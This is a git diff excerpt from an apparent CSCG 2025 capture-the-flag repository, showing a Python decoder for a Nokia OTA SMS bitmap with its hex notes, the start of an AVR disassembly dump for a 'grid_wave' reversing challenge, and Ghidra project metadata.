binary_data = ''.join(f"{int(h, 16):04b}" for h in hex_data)
|
||||
|
||||
# Step 2: Ensure the binary data fits the expected size
|
||||
expected_bits = width * height
|
||||
binary_data = binary_data[:expected_bits]
|
||||
|
||||
# Step 3: Convert binary data to a numpy array for visualization
|
||||
bitmap = np.array([int(bit) for bit in binary_data]).reshape(height, width)
|
||||
|
||||
# Step 4: Display the bitmap
|
||||
plt.figure(figsize=(6, 2))
|
||||
plt.imshow(bitmap, cmap='gray', interpolation='nearest')
|
||||
plt.axis('off')
|
||||
plt.title("Decoded OTA Bitmap")
|
||||
plt.show()
|
||||
|
||||
# Example Usage
|
||||
hex_payload = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F3273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFFFFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00"
|
||||
decode_ota_bitmap(hex_payload)
|
||||
|
||||
BIN
cscg25/misc/nokia/flag.png
Normal file
BIN
cscg25/misc/nokia/flag.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
12
cscg25/misc/nokia/notes.md
Normal file
12
cscg25/misc/nokia/notes.md
Normal file
@@ -0,0 +1,12 @@
|
||||
Header Info:
|
||||
Destination Port: 0x1583
|
||||
User Data:
|
||||
First:
|
||||
0B05041583000000030103013000480E01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F32
|
||||
|
||||
Second:
|
||||
0B050415830000000301030273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFF
|
||||
|
||||
Third:
|
||||
0B0504158300000003010303FFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
//SCKL1583 0B05041583000000030103013000480E01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F32
|
||||
//SCKL1583 0B050415830000000301030273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFF
|
||||
//SCKL1583 0B0504158300000003010303FFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00
|
||||
//SCKL1583 0B0504158300000003010303FFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00
|
||||
|
||||
52
cscg25/rev/grid_wave/avr.dump
Normal file
52
cscg25/rev/grid_wave/avr.dump
Normal file
@@ -0,0 +1,52 @@
|
||||
00000000 <.text>:
|
||||
0: 0c 94 34 00 jmp 0x68 ; 0x68
|
||||
4: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
8: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
c: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
10: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
14: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
18: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
1c: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
20: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
24: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
28: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
2c: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
30: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
34: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
38: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
3c: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
40: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
44: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
48: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
4c: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
50: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
54: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
58: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
5c: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
60: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
64: 0c 94 49 00 jmp 0x92 ; 0x92
|
||||
68: 11 24 eor r1, r1
|
||||
6a: 1f be out 0x3f, r1 ; 63
|
||||
6c: cf ef ldi r28, 0xFF ; 255
|
||||
6e: d8 e0 ldi r29, 0x08 ; 8
|
||||
70: de bf out 0x3e, r29 ; 62
|
||||
72: cd bf out 0x3d, r28 ; 61
|
||||
74: 12 e0 ldi r17, 0x02 ; 2
|
||||
76: a0 e0 ldi r26, 0x00 ; 0
|
||||
78: b1 e0 ldi r27, 0x01 ; 1
|
||||
7a: e2 ec ldi r30, 0xC2 ; 194
|
||||
7c: f8 e0 ldi r31, 0x08 ; 8
|
||||
7e: 02 c0 rjmp .+4 ; 0x84
|
||||
80: 05 90 lpm r0, Z+
|
||||
82: 0d 92 st X+, r0
|
||||
84: a4 3a cpi r26, 0xA4 ; 164
|
||||
86: b1 07 cpc r27, r17
|
||||
88: d9 f7 brne .-10 ; 0x80
|
||||
8a: 0e 94 e6 03 call 0x7cc ; 0x7cc
|
||||
8e: 0c 94 5f 04 jmp 0x8be ; 0x8be
|
||||
92: 0c 94 00 00 jmp 0 ; 0x0
|
||||
96: 10 92 c5 00 sts 0x00C5, r1 ; 0x8000c5
|
||||
9a: 87 e6 ldi r24, 0x67 ; 103
|
||||
9c: 80 93 c4 00 sts 0x00C4, r24 ; 0x8000c4
|
||||
a0: 88 e1 ldi r24, 0x18 ; 24
|
||||
|
||||
1356
cscg25/rev/grid_wave/dump
Normal file
1356
cscg25/rev/grid_wave/dump
Normal file
File diff suppressed because it is too large
Load Diff
0
cscg25/rev/grid_wave/gridwave.gpr
Normal file
0
cscg25/rev/grid_wave/gridwave.gpr
Normal file
11
cscg25/rev/grid_wave/gridwave.rep/idata/00/00000004.prp
Normal file
11
cscg25/rev/grid_wave/gridwave.rep/idata/00/00000004.prp
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
|
||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073ffb8121240967914416" />
|
||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||
<STATE NAME="NAME" TYPE="string" VALUE="blogpost.bin" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
11
cscg25/rev/grid_wave/gridwave.rep/idata/00/00000005.prp
Normal file
11
cscg25/rev/grid_wave/gridwave.rep/idata/00/00000005.prp
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
|
||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073dcc793952601231625" />
|
||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||
<STATE NAME="NAME" TYPE="string" VALUE="GRID_WAVE_4X8_LangleyMicros.vr" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
BIN
cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000004.db/db.1.gbf
Normal file
BIN
cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000004.db/db.1.gbf
Normal file
Binary file not shown.
BIN
cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000005.db/db.4.gbf
Normal file
BIN
cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000005.db/db.4.gbf
Normal file
Binary file not shown.
6
cscg25/rev/grid_wave/gridwave.rep/idata/~index.bak
Normal file
6
cscg25/rev/grid_wave/gridwave.rep/idata/~index.bak
Normal file
@@ -0,0 +1,6 @@
|
||||
VERSION=1
|
||||
/
|
||||
00000005:GRID_WAVE_4X8_LangleyMicros.vr:c0a8073dcc793952601231625
|
||||
00000004:blogpost.bin:c0a8073ffb8121240967914416
|
||||
NEXT-ID:6
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
6
cscg25/rev/grid_wave/gridwave.rep/idata/~index.dat
Normal file
6
cscg25/rev/grid_wave/gridwave.rep/idata/~index.dat
Normal file
@@ -0,0 +1,6 @@
|
||||
VERSION=1
|
||||
/
|
||||
00000005:GRID_WAVE_4X8_LangleyMicros.vr:c0a8073dcc793952601231625
|
||||
00000004:blogpost.bin:c0a8073ffb8121240967914416
|
||||
NEXT-ID:6
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
6
cscg25/rev/grid_wave/gridwave.rep/project.prp
Normal file
6
cscg25/rev/grid_wave/gridwave.rep/project.prp
Normal file
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="OWNER" TYPE="string" VALUE="cato" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
247
cscg25/rev/grid_wave/gridwave.rep/projectState
Normal file
247
cscg25/rev/grid_wave/gridwave.rep/projectState
Normal file
@@ -0,0 +1,247 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<PROJECT>
|
||||
<PROJECT_DATA_XML_NAME NAME="DISPLAY_DATA">
|
||||
<SAVE_STATE>
|
||||
<ARRAY NAME="EXPANDED_PATHS" TYPE="string">
|
||||
<A VALUE="gridwave:" />
|
||||
</ARRAY>
|
||||
<STATE NAME="SHOW_TABLE" TYPE="boolean" VALUE="false" />
|
||||
</SAVE_STATE>
|
||||
</PROJECT_DATA_XML_NAME>
|
||||
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
|
||||
<WORKSPACE NAME="Workspace" ACTIVE="true">
|
||||
<RUNNING_TOOL TOOL_NAME="CodeBrowser">
|
||||
<ROOT_NODE X_POS="-541" Y_POS="-1410" WIDTH="2505" HEIGHT="1388" EX_STATE="6">
|
||||
<SPLIT_NODE WIDTH="100" HEIGHT="100" DIVIDER_LOCATION="0" ORIENTATION="VERTICAL">
|
||||
<SPLIT_NODE WIDTH="1621" HEIGHT="816" DIVIDER_LOCATION="148" ORIENTATION="VERTICAL">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Entropy" OWNER="EntropyPlugin" TITLE="Entropy" ACTIVE="false" GROUP="Header" INSTANCE_ID="3207819926581772885" />
|
||||
<COMPONENT_INFO NAME="Overview" OWNER="OverviewPlugin" TITLE="Overview" ACTIVE="false" GROUP="Header" INSTANCE_ID="3207819926581772883" />
|
||||
</COMPONENT_NODE>
|
||||
<SPLIT_NODE WIDTH="3840" HEIGHT="2027" DIVIDER_LOCATION="143" ORIENTATION="HORIZONTAL">
|
||||
<SPLIT_NODE WIDTH="549" HEIGHT="2027" DIVIDER_LOCATION="640" ORIENTATION="VERTICAL">
|
||||
<SPLIT_NODE WIDTH="549" HEIGHT="1295" DIVIDER_LOCATION="502" ORIENTATION="VERTICAL">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Program Tree" OWNER="ProgramTreePlugin" TITLE="Program Trees" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701178" />
|
||||
</COMPONENT_NODE>
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Symbol Tree" OWNER="SymbolTreePlugin" TITLE="Symbol Tree" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701173" />
|
||||
</COMPONENT_NODE>
|
||||
</SPLIT_NODE>
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="DataTypes Provider" OWNER="DataTypeManagerPlugin" TITLE="Data Type Manager" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990945152020913" />
|
||||
</COMPONENT_NODE>
|
||||
</SPLIT_NODE>
|
||||
<SPLIT_NODE WIDTH="3287" HEIGHT="2027" DIVIDER_LOCATION="785" ORIENTATION="VERTICAL">
|
||||
<SPLIT_NODE WIDTH="1386" HEIGHT="638" DIVIDER_LOCATION="705" ORIENTATION="VERTICAL">
|
||||
<SPLIT_NODE WIDTH="3287" HEIGHT="1588" DIVIDER_LOCATION="483" ORIENTATION="HORIZONTAL">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Listing" OWNER="CodeBrowserPlugin" TITLE="Listing: " ACTIVE="true" GROUP="Core" INSTANCE_ID="3654990944120222116" />
|
||||
</COMPONENT_NODE>
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Decompiler" OWNER="DecompilePlugin" TITLE="Decompiler" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701179" />
|
||||
<COMPONENT_INFO NAME="Bytes" OWNER="ByteViewerPlugin" TITLE="Bytes: No Program" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701181" />
|
||||
<COMPONENT_INFO NAME="Data Window" OWNER="DataWindowPlugin" TITLE="Defined Data" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022496" />
|
||||
<COMPONENT_INFO NAME="Defined Strings" OWNER="ViewStringsPlugin" TITLE="Defined Strings" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022500" />
|
||||
<COMPONENT_INFO NAME="Equates Table" OWNER="EquateTablePlugin" TITLE="Equates Table" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222114" />
|
||||
<COMPONENT_INFO NAME="External Programs" OWNER="ReferencesPlugin" TITLE="External Programs" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222117" />
|
||||
<COMPONENT_INFO NAME="Functions Window" OWNER="FunctionWindowPlugin" TITLE="Functions" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222120" />
|
||||
<COMPONENT_INFO NAME="Relocation Table" OWNER="RelocationTablePlugin" TITLE="Relocation Table" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022499" />
|
||||
</COMPONENT_NODE>
|
||||
</SPLIT_NODE>
|
||||
<SPLIT_NODE WIDTH="1386" HEIGHT="189" DIVIDER_LOCATION="495" ORIENTATION="HORIZONTAL">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Data Type Preview" OWNER="DataTypePreviewPlugin" TITLE="Data Type Preview" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945011511733" />
|
||||
</COMPONENT_NODE>
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Virtual Disassembler - Current Instruction" OWNER="DisassembledViewPlugin" TITLE="Disassembled View" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222113" />
|
||||
</COMPONENT_NODE>
|
||||
</SPLIT_NODE>
|
||||
</SPLIT_NODE>
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Console" OWNER="ConsolePlugin" TITLE="Console" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701180" />
|
||||
<COMPONENT_INFO NAME="Bookmarks" OWNER="BookmarkPlugin" TITLE="Bookmarks" ACTIVE="false" GROUP="Core.Bookmarks" INSTANCE_ID="3654990936035701177" />
|
||||
</COMPONENT_NODE>
|
||||
</SPLIT_NODE>
|
||||
</SPLIT_NODE>
|
||||
</SPLIT_NODE>
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Function Call Trees" OWNER="CallTreePlugin" TITLE="Function Call Trees" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701174" />
|
||||
</COMPONENT_NODE>
|
||||
</SPLIT_NODE>
|
||||
<WINDOW_NODE X_POS="426" Y_POS="178" WIDTH="1033" HEIGHT="689">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Script Manager" OWNER="GhidraScriptMgrPlugin" TITLE="Script Manager" ACTIVE="false" GROUP="Script Group" INSTANCE_ID="3654990936035701175" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="423" Y_POS="144" WIDTH="927" HEIGHT="370">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Memory Map" OWNER="MemoryMapPlugin" TITLE="Memory Map" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701156" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="383" Y_POS="7" WIDTH="1020" HEIGHT="1038">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Function Graph" OWNER="FunctionGraphPlugin" TITLE="Function Graph" ACTIVE="false" GROUP="Function Graph" INSTANCE_ID="3654990945519022501" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="550" Y_POS="206" WIDTH="655" HEIGHT="509">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Register Manager" OWNER="RegisterPlugin" TITLE="Register Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222119" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="287" Y_POS="186" WIDTH="1424" HEIGHT="666">
|
||||
<SPLIT_NODE WIDTH="1408" HEIGHT="559" DIVIDER_LOCATION="573" ORIENTATION="HORIZONTAL">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Symbol Table" OWNER="SymbolTablePlugin" TITLE="Symbol Table" ACTIVE="false" GROUP="symbolTable" INSTANCE_ID="3654990945519022497" />
|
||||
</COMPONENT_NODE>
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Symbol References" OWNER="SymbolTablePlugin" TITLE="Symbol References" ACTIVE="false" GROUP="symbolTable" INSTANCE_ID="3654990945519022498" />
|
||||
</COMPONENT_NODE>
|
||||
</SPLIT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Checksum Generator" OWNER="ComputeChecksumsPlugin" TITLE="Checksum Generator" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222115" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Function Tags" OWNER="FunctionTagPlugin" TITLE="Function Tags" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020914" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Comment Window" OWNER="CommentWindowPlugin" TITLE="Comments" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020927" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Python" OWNER="InterpreterPanelPlugin" TITLE="Python" ACTIVE="false" GROUP="Default" INSTANCE_ID="3569487994865850806" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="BundleManager" OWNER="GhidraScriptMgrPlugin" TITLE="Bundle Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654989415013944504" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Function Call Graph" OWNER="FunctionCallGraphPlugin" TITLE="Function Call Graph" ACTIVE="false" GROUP="Function Call Graph" INSTANCE_ID="3654990945011511734" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="PyGhidra" OWNER="PyGhidra" TITLE="PyGhidra" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020926" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Jython" OWNER="Jython" TITLE="Jython" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020915" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Source Files and Transforms" OWNER="SourceFilesTablePlugin" TITLE="Source Files and Transforms" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222118" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Bundle Manager" OWNER="GhidraScriptMgrPlugin" TITLE="Bundle Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701176" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="547" Y_POS="289" WIDTH="639" HEIGHT="398">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Location References Provider" OWNER="LocationReferencesPlugin" TITLE="References to FUN_code_006a - 1 locations" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654493101173209946" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="283" Y_POS="268" WIDTH="874" HEIGHT="516">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Instruction Info" OWNER="ShowInstructionInfoPlugin" TITLE="Instruction Info: Address code:0340" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653949728691516758" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="131" Y_POS="163" WIDTH="1178" HEIGHT="598">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Structure Editor" OWNER="DataTypeManagerPlugin" TITLE="Structure Editor - Elf32_Ehdr (GRID_WAVE_4X8_LangleyMicros.vr)" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653801106509652768" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="418" Y_POS="324" WIDTH="604" HEIGHT="277">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="References Editor " OWNER="ReferencesPlugin" TITLE="References Editor @ code:0034 (GRID_WAVE_4X8_LangleyMicros.vr)" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653948643826398544" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="491" Y_POS="197" WIDTH="458" HEIGHT="531">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Operands" OWNER="TableServicePlugin" TITLE="Operand References for code:0045" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654130639604965206" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
|
||||
<COMPONENT_NODE TOP_INFO="0">
|
||||
<COMPONENT_INFO NAME="Jython" OWNER="InterpreterPanelPlugin" TITLE="Jython" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654989418595880114" />
|
||||
</COMPONENT_NODE>
|
||||
</WINDOW_NODE>
|
||||
</ROOT_NODE>
|
||||
<DATA_STATE>
|
||||
<PLUGIN NAME="NavigationHistoryPlugin">
|
||||
<XML NAME="HISTORY_LIST_0">
|
||||
<SAVE_STATE>
|
||||
<STATE NAME="CURRENT_LOC_INDEX" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="LOCATION_COUNT" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="NAV_ID" TYPE="long" VALUE="-1" />
|
||||
</SAVE_STATE>
|
||||
</XML>
|
||||
<STATE NAME="LIST_COUNT" TYPE="int" VALUE="1" />
|
||||
</PLUGIN>
|
||||
<PLUGIN NAME="ProgramTreePlugin">
|
||||
<STATE NAME="Current Viewname" TYPE="string" VALUE="Program Tree" />
|
||||
<STATE NAME="NavigationToggleState" TYPE="boolean" VALUE="false" />
|
||||
<STATE NAME="NumberOfGroupsProgram Tree" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="NumberOfViews" TYPE="int" VALUE="1" />
|
||||
<STATE NAME="TreeName-0" TYPE="string" VALUE="Program Tree" />
|
||||
</PLUGIN>
|
||||
<PLUGIN NAME="DecompilePlugin">
|
||||
<STATE NAME="INDEX" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="NAV_ID" TYPE="long" VALUE="3654990936035701179" />
|
||||
<STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="Y_OFFSET" TYPE="int" VALUE="0" />
|
||||
</PLUGIN>
|
||||
<PLUGIN NAME="ByteViewerPlugin">
|
||||
<STATE NAME="Block Column" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="Block Num" TYPE="int" VALUE="-1" />
|
||||
<STATE NAME="Block Offset" TYPE="string" VALUE="0" />
|
||||
<STATE NAME="Index" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="NAV_ID" TYPE="long" VALUE="3654990936035701181" />
|
||||
<STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="X Offset" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="Y Offset" TYPE="int" VALUE="0" />
|
||||
</PLUGIN>
|
||||
<PLUGIN NAME="ProgramManagerPlugin">
|
||||
<STATE NAME="NUM_PROGRAMS" TYPE="int" VALUE="0" />
|
||||
</PLUGIN>
|
||||
<PLUGIN NAME="FunctionGraphPlugin">
|
||||
<SAVE_STATE NAME="COMPLEX_LAYOUT_NAME" TYPE="SaveState">
|
||||
<COMPLEX_LAYOUT_NAME>
|
||||
<STATE NAME="LAYOUT_CLASS_NAME" TYPE="string" VALUE="ghidra.app.plugin.core.functiongraph.graph.layout.DecompilerNestedLayoutProvider" />
|
||||
<STATE NAME="LAYOUT_NAME" TYPE="string" VALUE="Nested Code Layout" />
|
||||
</COMPLEX_LAYOUT_NAME>
|
||||
</SAVE_STATE>
|
||||
<STATE NAME="DISPLAY_POPUPS" TYPE="boolean" VALUE="true" />
|
||||
<STATE NAME="DISPLAY_SATELLITE" TYPE="boolean" VALUE="true" />
|
||||
<STATE NAME="DOCK_SATELLITE" TYPE="boolean" VALUE="true" />
|
||||
<STATE NAME="DOCK_SATELLITE_POSITION" TYPE="string" VALUE="LOWER_RIGHT" />
|
||||
<STATE NAME="Disconnected Count" TYPE="int" VALUE="0" />
|
||||
<ENUM NAME="EDGE_HOVER_HIGHLIGHT" TYPE="enum" CLASS="ghidra.app.plugin.core.functiongraph.EdgeDisplayType" VALUE="ScopedFlowsFromVertex" />
|
||||
<ENUM NAME="EDGE_SELECTION_HIGHLIGHT" TYPE="enum" CLASS="ghidra.app.plugin.core.functiongraph.EdgeDisplayType" VALUE="AllCycles" />
|
||||
<STATE NAME="NAV_ID" TYPE="long" VALUE="3654990945519022501" />
|
||||
</PLUGIN>
|
||||
<PLUGIN NAME="CodeBrowserPlugin">
|
||||
